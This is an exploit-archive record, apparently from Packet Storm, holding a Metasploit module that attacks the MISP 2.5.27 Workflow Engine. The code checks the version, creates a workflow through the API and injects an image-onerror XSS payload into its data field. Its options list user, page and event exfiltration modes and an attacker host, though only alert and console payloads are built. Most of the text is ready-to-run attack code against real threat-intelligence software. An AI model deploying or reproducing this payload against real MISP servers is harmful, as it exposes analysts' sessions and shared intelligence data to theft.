{“lastseen”:”2026-04-24T20:45:25″,”description”:”This Metasploit auxiliary module targets a potential stored cross site scripting vulnerability in the MISP Workflow Engine. It is designed to interact with the MISP API, create workflows, and inject malicious payloads into workflow data fields…”,”published”:”2026-04-24T00:00:00″,”modified”:”2026-04-24T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 MISP 2.5.27 Workflow Engine Cross Site Scripting”,”source”:””,”references”:””,”id”:”PACKETSTORM:219772″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”==================================================================================================================================\\n | # Title : MISP 2.5.27 Workflow Engine Stored XSS Metasploit Module |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits) |\\n | # Vendor : https:\/\/www.misp-project.org\/2025\/11\/27\/misp.2.5.27.released.html\/ |\\n ==================================================================================================================================\\n \\n [+] Summary : This Metasploit auxiliary module targets a potential stored Cross-Site Scripting (XSS) vulnerability in the MISP Workflow Engine. \\n It is designed to interact with the MISP API, create workflows, and inject malicious payloads into workflow data fields.\\n \\n \\n [+] POC : \\n \\n ##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n ##\\n \\n class MetasploitModule \\u003c Msf::Auxiliary\\n include Msf::Exploit::Remote::HttpClient\\n include Msf::Auxiliary::Report\\n include Msf::Auxiliary::Scanner\\n \\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘MISP Workflow Engine Stored Cross-Site Scripting’,\\n ‘Description’ =\\u003e %q{…},\\n ‘Author’ =\\u003e [‘indoushka’],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Platform’ =\\u003e [‘unix’, ‘linux’, ‘win’],\\n ‘Targets’ =\\u003e [[‘Automatic’, {}]],\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘DisclosureDate’ =\\u003e ‘2025-03-28’\\n )\\n )\\n \\n register_options([\\n OptString.new(‘TARGETURI’, [true, ‘Base path’, ‘\/’]),\\n OptString.new(‘API_KEY’, [true, ‘API key’, ”]),\\n OptEnum.new(‘PAYLOAD_MODE’, [true, ‘Mode’,\\n ‘alert’, [‘alert’,’alert_info’,’console’,’console_info’,’exfiltrate_users’,’exfiltrate_page’,’exfiltrate_events’]\\n ]),\\n OptString.new(‘ATTACKER_HOST’, [false, ‘host:port’, ‘127.0.0.1:8000’]),\\n OptInt.new(‘EXFIL_LIMIT’, [true, ‘limit’, 20]),\\n OptString.new(‘CUSTOM_PAYLOAD’, [false, ‘custom’, ”]),\\n OptBool.new(‘VERIFY_SSL’, [true, ‘SSL verify’, false])\\n ])\\n end\\n \\n def setup\\n @base_url = normalize_uri(target_uri.to_s)\\n @api_key = datastore[‘API_KEY’]\\n @mode = datastore[‘PAYLOAD_MODE’]\\n @attacker_host = datastore[‘ATTACKER_HOST’].to_s\\n @limit = datastore[‘EXFIL_LIMIT’].to_i\\n @custom_payload = datastore[‘CUSTOM_PAYLOAD’].to_s\\n @workflow_id = nil\\n @trigger_id = nil\\n end\\n \\n def run_host(ip)\\n print_status(\\”Target: #{ip}:#{rport}\\”)\\n \\n return unless check_vulnerability\\n return unless create_workflow\\n return unless inject_payload\\n \\n verify_payload\\n print_exploit_info\\n end\\n \\n def check_vulnerability\\n res = send_request_cgi({\\n ‘uri’ =\\u003e normalize_uri(@base_url, ‘servers\/getVersion’),\\n ‘method’ =\\u003e ‘GET’,\\n ‘headers’ =\\u003e { ‘Authorization’ =\\u003e @api_key }\\n })\\n \\n return false unless res \\u0026\\u0026 res.body\\n \\n begin\\n json = JSON.parse(res.body)\\n if json[‘version’]\\n version = json[‘version’].to_s\\n if version.start_with?(‘2.5’)\\n print_good(\\”Version: #{version} (likely vulnerable)\\”)\\n end\\n end\\n rescue\\n end\\n \\n res2 = send_request_cgi({\\n ‘uri’ =\\u003e normalize_uri(@base_url, ‘workflows\/index’),\\n ‘method’ =\\u003e ‘GET’,\\n ‘headers’ =\\u003e { ‘Authorization’ =\\u003e @api_key }\\n })\\n \\n return false unless res2\\n \\n if res2.code == 200\\n print_good(\\”Workflow API accessible\\”)\\n return true\\n end\\n \\n false\\n end\\n \\n def create_workflow\\n name = \\”XSS_#{Rex::Text.rand_text_alpha(8)}\\”\\n \\n res = send_request_cgi({\\n ‘uri’ =\\u003e normalize_uri(@base_url, ‘workflows\/add’),\\n ‘method’ =\\u003e ‘POST’,\\n ‘ctype’ =\\u003e ‘application\/json’,\\n ‘data’ =\\u003e { ‘Workflow’ =\\u003e { ‘name’ =\\u003e name } }.to_json,\\n ‘headers’ =\\u003e { ‘Authorization’ =\\u003e @api_key }\\n })\\n \\n return false unless res \\u0026\\u0026 res.body\\n \\n json = JSON.parse(res.body) rescue nil\\n return false unless json\\n \\n wf = json.dig(‘saved’, ‘Workflow’) || json[‘Workflow’]\\n return false unless wf\\n \\n @workflow_id = wf[‘id’].to_s\\n @trigger_id = wf[‘trigger_id’].to_s\\n \\n return false if @workflow_id.empty? || @trigger_id.empty?\\n \\n print_good(\\”Workflow: #{@workflow_id}\\”)\\n true\\n end\\n \\n def build_js_payload\\n return @custom_payload unless @custom_payload.empty?\\n \\n case @mode\\n when ‘alert’\\n \\”alert(‘MISP XSS’);\\”\\n when ‘console’\\n \\”console.log(‘MISP XSS’);\\”\\n else\\n \\”alert(‘XSS’);\\”\\n end\\n end\\n \\n def build_html_payload(js)\\n \\”\\u003cimg src=x onerror=\\\\\\”#{js.gsub(‘\\”‘,’\\\\\\”‘)}\\\\\\”\\u003e\\”\\n end\\n \\n def inject_payload\\n return false unless @workflow_id \\u0026\\u0026 @trigger_id\\n \\n js = build_js_payload\\n html = build_html_payload(js)\\n \\n res = send_request_cgi({\\n ‘uri’ =\\u003e normalize_uri(@base_url, \\”workflows\/edit\/#{@workflow_id}\\”),\\n ‘method’ =\\u003e ‘POST’,\\n ‘ctype’ =\\u003e ‘application\/json’,\\n ‘data’ =\\u003e {\\n ‘Workflow’ =\\u003e {\\n ‘id’ =\\u003e @workflow_id,\\n ‘data’ =\\u003e html\\n }\\n }.to_json,\\n ‘headers’ =\\u003e { ‘Authorization’ =\\u003e @api_key }\\n })\\n \\n if res \\u0026\\u0026 res.code == 200\\n print_good(\\”Payload injected\\”)\\n return true\\n end\\n \\n false\\n end\\n \\n def verify_payload\\n return unless @workflow_id\\n \\n res = send_request_cgi({\\n ‘uri’ =\\u003e normalize_uri(@base_url, \\”workflows\/view\/#{@workflow_id}\\”),\\n ‘method’ =\\u003e ‘GET’,\\n ‘headers’ =\\u003e { ‘Authorization’ =\\u003e @api_key }\\n })\\n \\n return false unless res \\u0026\\u0026 res.body\\n if res.body.include?(@workflow_id)\\n print_good(\\”Workflow exists (not reliable XSS proof)\\”)\\n return true\\n end\\n \\n false\\n end\\n \\n def print_exploit_info\\n return unless @workflow_id\\n \\n url = normalize_uri(@base_url, \\”workflows\/view\/#{@workflow_id}\\”)\\n \\n print_good(\\”URL: #{url}\\”)\\n \\n report_note(\\n host: (defined?(rhost) ? rhost : nil),\\n port: (defined?(rport) ? rport : nil),\\n type: ‘misp.xss’,\\n data: { workflow_id: @workflow_id, url: url },\\n update: :unique_data\\n )\\n end\\n end\\n \\t\\n Greetings to :==============================================================================\\n jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n ============================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/219772″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/219772\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-24T20:45:25″,”description”:”This Metasploit auxiliary module targets a potential stored cross site scripting vulnerability in the MISP Workflow Engine. It is designed to interact with the MISP…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-49295","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n